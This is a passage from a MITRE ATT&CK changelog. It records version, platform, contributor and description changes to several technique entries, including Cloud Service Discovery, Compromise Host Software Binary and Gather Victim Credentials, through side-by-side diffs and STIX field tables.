| description | An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.
Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)
For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)
Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008). | An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.
Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)
For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)
Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008). |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_data_sources | | Logon Session: Logon Session Creation |
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1021.007] Remote Services: Cloud Services
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 22:27:04.095000+00:00 | 2024-10-15 15:52:47.255000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
[T1213.003] Data from Information Repositories: Code Repositories
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may leverage code repositories to collect valuab | t | Adversaries may leverage code repositories to collect valuab |
| le information. Code repositories are tools/services that st | | le information. Code repositories are tools/services that st |
| ore source code and automate software builds. They may be ho | | ore source code and automate software builds. They may be ho |
| sted internally or privately on third party sites such as Gi | | sted internally or privately on third party sites such as Gi |
| thub, GitLab, SourceForge, and BitBucket. Users typically in | | thub, GitLab, SourceForge, and BitBucket. Users typically in |
| teract with code repositories through a web application or c | | teract with code repositories through a web application or c |
| ommand-line utilities such as git. Once adversaries gain ac | | ommand-line utilities such as git. Once adversaries gain ac |
| cess to a victim network or a private code repository, they | | cess to a victim network or a private code repository, they |
| may collect sensitive information such as proprietary source | | may collect sensitive information such as proprietary source |
| code or credentials contained within software's source code | | code or [Unsecured Credentials](https://attack.mitre.org/te |
| . Having access to software's source code may allow adversa | | chniques/T1552) contained within software's source code. Ha |
| ries to develop [Exploits](https://attack.mitre.org/techniqu | | ving access to software's source code may allow adversaries |
| es/T1587/004), while credentials may provide access to addit | | to develop [Exploits](https://attack.mitre.org/techniques/T1 |
| ional resources using [Valid Accounts](https://attack.mitre. | | 587/004), while credentials may provide access to additional |
| org/techniques/T1078).(Citation: Wired Uber Breach)(Citation | | resources using [Valid Accounts](https://attack.mitre.org/t |
| : Krebs Adobe) **Note:** This is distinct from [Code Reposi | | echniques/T1078).(Citation: Wired Uber Breach)(Citation: Kre |
| tories](https://attack.mitre.org/techniques/T1593/003), whic | | bs Adobe) **Note:** This is distinct from [Code Repositorie |
| h focuses on conducting [Reconnaissance](https://attack.mitr | | s](https://attack.mitre.org/techniques/T1593/003), which foc |
| e.org/tactics/TA0043) via public code repositories. | | uses on conducting [Reconnaissance](https://attack.mitre.org |
| | | /tactics/TA0043) via public code repositories. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-18 22:44:01.723000+00:00 | 2024-09-04 13:03:54.101000+00:00 |
| description | Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories. | Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories. |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
[T1059] Command and Scripting Interpreter
Current version: 2.5
Version changed from: 2.4 → 2.5
New Mitigations:
- M1033: Limit Software Installation
- M1047: Audit
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-27 16:43:58.795000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 2.4 | 2.5 |
| x_mitre_platforms[5] | Azure AD | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1027.004] Obfuscated Files or Information: Compile After Delivery
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may attempt to make payloads difficult to discov | t | Adversaries may attempt to make payloads difficult to discov |
| er and analyze by delivering files to victims as uncompiled | | er and analyze by delivering files to victims as uncompiled |
| code. Text-based source code files may subvert analysis and | | code. Text-based source code files may subvert analysis and |
| scrutiny from protections targeting executables/binaries. Th | | scrutiny from protections targeting executables/binaries. Th |
| ese payloads will need to be compiled before execution; typi | | ese payloads will need to be compiled before execution; typi |
| cally via native utilities such as csc.exe or GCC/MinGW.(Cit | | cally via native utilities such as ilasm.exe(Citation: ATTAC |
| ation: ClearSky MuddyWater Nov 2018) Source code payloads m | | K IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater |
| ay also be encrypted, encoded, and/or embedded within other | | Nov 2018) Source code payloads may also be encrypted, encod |
| files, such as those delivered as a [Phishing](https://attac | | ed, and/or embedded within other files, such as those delive |
| k.mitre.org/techniques/T1566). Payloads may also be delivere | | red as a [Phishing](https://attack.mitre.org/techniques/T156 |
| d in formats unrecognizable and inherently benign to the nat | | 6). Payloads may also be delivered in formats unrecognizable |
| ive OS (ex: EXEs on macOS/Linux) before later being (re)comp | | and inherently benign to the native OS (ex: EXEs on macOS/L |
| iled into a proper executable binary with a bundled compiler | | inux) before later being (re)compiled into a proper executab |
| and execution framework.(Citation: TrendMicro WindowsAppMac | | le binary with a bundled compiler and execution framework.(C |
| ) | | itation: TrendMicro WindowsAppMac) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-29 20:59:32.293000+00:00 | 2024-10-03 17:43:14.766000+00:00 |
| description | Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) | Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'ATTACK IQ', 'description': 'Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.', 'url': 'https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/'} |
| x_mitre_contributors | | Liran Ravich, CardinalOps |
[T1554] Compromise Host Software Binary
Current version: 2.1
Version changed from: 2.0 → 2.1
|
|
|---|
| t | Adversaries may modify host software binaries to establish p | t | Adversaries may modify host software binaries to establish p |
| ersistent access to systems. Software binaries/executables p | | ersistent access to systems. Software binaries/executables p |
| rovide a wide range of system commands or services, programs | | rovide a wide range of system commands or services, programs |
| , and libraries. Common software binaries are SSH clients, F | | , and libraries. Common software binaries are SSH clients, F |
| TP clients, email clients, web browsers, and many other user | | TP clients, email clients, web browsers, and many other user |
| or server applications. Adversaries may establish persiste | | or server applications. Adversaries may establish persiste |
| nce though modifications to host software binaries. For exam | | nce though modifications to host software binaries. For exam |
| ple, an adversary may replace or otherwise infect a legitima | | ple, an adversary may replace or otherwise infect a legitima |
| te application binary (or support files) with a backdoor. Si | | te application binary (or support files) with a backdoor. Si |
| nce these binaries may be routinely executed by applications | | nce these binaries may be routinely executed by applications |
| or the user, the adversary can leverage this for persistent | | or the user, the adversary can leverage this for persistent |
| access to the host. An adversary may also modify an existi | | access to the host. An adversary may also modify a software |
| ng binary by patching in malicious functionality (e.g., IAT | | binary such as an SSH client in order to persistently colle |
| Hooking/Entry point patching)(Citation: Unit42 Banking Troja | | ct credentials during logins (i.e., [Modify Authentication P |
| ns Hooking 2022) prior to the binary’s legitimate execution. | | rocess](https://attack.mitre.org/techniques/T1556)).(Citatio |
| For example, an adversary may modify the entry point of a b | | n: Google Cloud Mandiant UNC3886 2024) An adversary may als |
| inary to point to malicious code patched in by the adversary | | o modify an existing binary by patching in malicious functio |
| before resuming normal execution flow.(Citation: ESET FontO | | nality (e.g., IAT Hooking/Entry point patching)(Citation: Un |
| nLake Analysis 2021) | | it42 Banking Trojans Hooking 2022) prior to the binary’s leg |
| | | itimate execution. For example, an adversary may modify the |
| | | entry point of a binary to point to malicious code patched i |
| | | n by the adversary before resuming normal execution flow.(Ci |
| | | tation: ESET FontOnLake Analysis 2021) After modifying a bi |
| | | nary, an adversary may attempt to [Impair Defenses](https:// |
| | | attack.mitre.org/techniques/T1562) by preventing it from upd |
| | | ating (e.g., via the `yum-versionlock` command or `versionlo |
| | | ck.list` file in Linux systems that use the yum package mana |
| | | ger).(Citation: Google Cloud Mandiant UNC3886 2024) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-16 13:03:40.824000+00:00 | 2024-10-12 16:52:46.067000+00:00 |
| description | Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.
Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.
An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) | Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.
Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)
An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)
After modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024) |
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Google Cloud Mandiant UNC3886 2024', 'description': ' Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations'} |
| x_mitre_contributors | | Liran Ravich, CardinalOps |
| x_mitre_contributors | | Jamie Williams (U ω U), PANW Unit 42 |
[T1556.009] Modify Authentication Process: Conditional Access Policies
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may disable or modify conditional access policie | t | Adversaries may disable or modify conditional access policie |
| s to enable persistent access to compromised accounts. Condi | | s to enable persistent access to compromised accounts. Condi |
| tional access policies are additional verifications used by | | tional access policies are additional verifications used by |
| identity providers and identity and access management system | | identity providers and identity and access management system |
| s to determine whether a user should be granted access to a | | s to determine whether a user should be granted access to a |
| resource. For example, in Azure AD, Okta, and JumpCloud, us | | resource. For example, in Entra ID, Okta, and JumpCloud, us |
| ers can be denied access to applications based on their IP a | | ers can be denied access to applications based on their IP a |
| ddress, device enrollment status, and use of multi-factor au | | ddress, device enrollment status, and use of multi-factor au |
| thentication.(Citation: Microsoft Conditional Access)(Citati | | thentication.(Citation: Microsoft Conditional Access)(Citati |
| on: JumpCloud Conditional Access Policies)(Citation: Okta Co | | on: JumpCloud Conditional Access Policies)(Citation: Okta Co |
| nditional Access Policies) In some cases, identity providers | | nditional Access Policies) In some cases, identity providers |
| may also support the use of risk-based metrics to deny sign | | may also support the use of risk-based metrics to deny sign |
| -ins based on a variety of indicators. In AWS and GCP, IAM p | | -ins based on a variety of indicators. In AWS and GCP, IAM p |
| olicies can contain `condition` attributes that verify arbit | | olicies can contain `condition` attributes that verify arbit |
| rary constraints such as the source IP, the date the request | | rary constraints such as the source IP, the date the request |
| was made, and the nature of the resources or regions being | | was made, and the nature of the resources or regions being |
| requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM C | | requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM C |
| onditions) These measures help to prevent compromised creden | | onditions) These measures help to prevent compromised creden |
| tials from resulting in unauthorized access to data or resou | | tials from resulting in unauthorized access to data or resou |
| rces, as well as limit user permissions to only those requir | | rces, as well as limit user permissions to only those requir |
| ed. By modifying conditional access policies, such as addi | | ed. By modifying conditional access policies, such as addi |
| ng additional trusted IP ranges, removing [Multi-Factor Auth | | ng additional trusted IP ranges, removing [Multi-Factor Auth |
| entication](https://attack.mitre.org/techniques/T1556/006) r | | entication](https://attack.mitre.org/techniques/T1556/006) r |
| equirements, or allowing additional [Unused/Unsupported Clou | | equirements, or allowing additional [Unused/Unsupported Clou |
| d Regions](https://attack.mitre.org/techniques/T1535), adver | | d Regions](https://attack.mitre.org/techniques/T1535), adver |
| saries may be able to ensure persistent access to accounts a | | saries may be able to ensure persistent access to accounts a |
| nd circumvent defensive measures. | | nd circumvent defensive measures. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-18 20:53:46.175000+00:00 | 2024-09-16 16:54:47.595000+00:00 |
| description | Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.
For example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.
By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures. | Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.
For example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.
By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures. |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[1] | SaaS | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
[T1213.001] Data from Information Repositories: Confluence
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may leverage Confluence repositories to mine va | t | Adversaries may leverage Confluence repositories to mine va |
| luable information. Often found in development environments | | luable information. Often found in development environments |
| alongside Atlassian JIRA, Confluence is generally used to st | | alongside Atlassian JIRA, Confluence is generally used to st |
| ore development-related documentation, however, in general m | | ore development-related documentation, however, in general m |
| ay contain more diverse categories of useful information, su | | ay contain more diverse categories of useful information, su |
| ch as: * Policies, procedures, and standards * Physical / l | | ch as: * Policies, procedures, and standards * Physical / l |
| ogical network diagrams * System architecture diagrams * Tec | | ogical network diagrams * System architecture diagrams * Tec |
| hnical system documentation * Testing / development credenti | | hnical system documentation * Testing / development credenti |
| als * Work / project schedules * Source code snippets * Link | | als (i.e., [Unsecured Credentials](https://attack.mitre.org/ |
| s to network shares and other internal resources | | techniques/T1552)) * Work / project schedules * Source code |
| | | snippets * Links to network shares and other internal resour |
| | | ces |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-08 17:08:08.386000+00:00 | 2024-08-30 13:45:42.840000+00:00 |
| description |
Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
|
Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
|
| x_mitre_version | 1.0 | 1.1 |
[T1136] Create Account
Current version: 2.5
Version changed from: 2.4 → 2.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-31 20:46:43.215000+00:00 | 2024-10-15 15:53:21.895000+00:00 |
| x_mitre_version | 2.4 | 2.5 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1578.002] Modify Cloud Compute Infrastructure: Create Cloud Instance
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['Arun Seelagan, CISA'] |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:02.034000+00:00 | 2024-09-30 13:28:37.416000+00:00 |
| external_references[1]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
| x_mitre_version | 1.1 | 1.2 |
[T1578.001] Modify Cloud Compute Infrastructure: Create Snapshot
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:02.060000+00:00 | 2024-10-15 15:53:44.870000+00:00 |
| external_references[1]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
| x_mitre_version | 1.1 | 1.2 |
[T1056.004] Input Capture: Credential API Hooking
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-11-10 18:29:31.138000+00:00 | 2024-08-27 21:03:56.385000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1110.004] Brute Force: Credential Stuffing
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-07 14:28:02.910000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.5 | 1.6 |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1589.001] Gather Victim Identity Information: Credentials
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may gather credentials that can be used during t | t | Adversaries may gather credentials that can be used during t |
| argeting. Account credentials gathered by adversaries may be | | argeting. Account credentials gathered by adversaries may be |
| those directly associated with the target victim organizati | | those directly associated with the target victim organizati |
| on or attempt to take advantage of the tendency for users to | | on or attempt to take advantage of the tendency for users to |
| use the same passwords across personal and business account | | use the same passwords across personal and business account |
| s. Adversaries may gather credentials from potential victim | | s. Adversaries may gather credentials from potential victim |
| s in various ways, such as direct elicitation via [Phishing | | s in various ways, such as direct elicitation via [Phishing |
| for Information](https://attack.mitre.org/techniques/T1598). | | for Information](https://attack.mitre.org/techniques/T1598). |
| Adversaries may also compromise sites then add malicious co | | Adversaries may also compromise sites then add malicious co |
| ntent designed to collect website authentication cookies fro | | ntent designed to collect website authentication cookies fro |
| m visitors.(Citation: ATT ScanBox) Credential information ma | | m visitors.(Citation: ATT ScanBox) (Citation: Register Deloi |
| y also be exposed to adversaries via leaks to online or othe | | tte)(Citation: Register Uber)(Citation: Detectify Slack Toke |
| r accessible data sets (ex: [Search Engines](https://attack. | | ns)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleH |
| mitre.org/techniques/T1593/002), breach dumps, code reposito | | og)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mul |
| ries, etc.).(Citation: Register Deloitte)(Citation: Register | | ti-factor authentication (MFA) based on out-of-band communic |
| Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes Gi | | ations is in use, adversaries may compromise a service provi |
| tHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gi | | der to gain access to MFA codes and one-time passwords (OTP) |
| trob)(Citation: CNET Leaks) Adversaries may also purchase cr | | .(Citation: Okta Scatter Swine 2022) Credential information |
| edentials from dark web or other black-markets. Finally, whe | | may also be exposed to adversaries via leaks to online or o |
| re multi-factor authentication (MFA) based on out-of-band co | | ther accessible data sets (ex: [Search Engines](https://atta |
| mmunications is in use, adversaries may compromise a service | | ck.mitre.org/techniques/T1593/002), breach dumps, code repos |
| provider to gain access to MFA codes and one-time passwords | | itories, etc.). Adversaries may purchase credentials from da |
| (OTP).(Citation: Okta Scatter Swine 2022) Gathering this i | | rk web markets, such as Russian Market and 2easy, or through |
| nformation may reveal opportunities for other forms of recon | | access to Telegram channels that distribute logs from infos |
| naissance (ex: [Search Open Websites/Domains](https://attack | | tealer malware.(Citation: Bleeping Computer 2easy 2021)(Cita |
| .mitre.org/techniques/T1593) or [Phishing for Information](h | | tion: SecureWorks Infostealers 2023)(Citation: Bleeping Comp |
| ttps://attack.mitre.org/techniques/T1598)), establishing ope | | uter Stealer Logs 2023) Gathering this information may reve |
| rational resources (ex: [Compromise Accounts](https://attack | | al opportunities for other forms of reconnaissance (ex: [Sea |
| .mitre.org/techniques/T1586)), and/or initial access (ex: [E | | rch Open Websites/Domains](https://attack.mitre.org/techniqu |
| xternal Remote Services](https://attack.mitre.org/techniques | | es/T1593) or [Phishing for Information](https://attack.mitre |
| /T1133) or [Valid Accounts](https://attack.mitre.org/techniq | | .org/techniques/T1598)), establishing operational resources |
| ues/T1078)). | | (ex: [Compromise Accounts](https://attack.mitre.org/techniqu |
| | | es/T1586)), and/or initial access (ex: [External Remote Serv |
